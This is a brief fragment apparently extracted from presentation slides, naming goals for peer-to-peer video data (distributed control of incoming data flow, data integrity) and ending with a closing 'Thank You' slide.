P2P - Video data v Distributes control of the flow of receiving data
v' Ensure data integrity

SECCONF
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Thank You

For your attention
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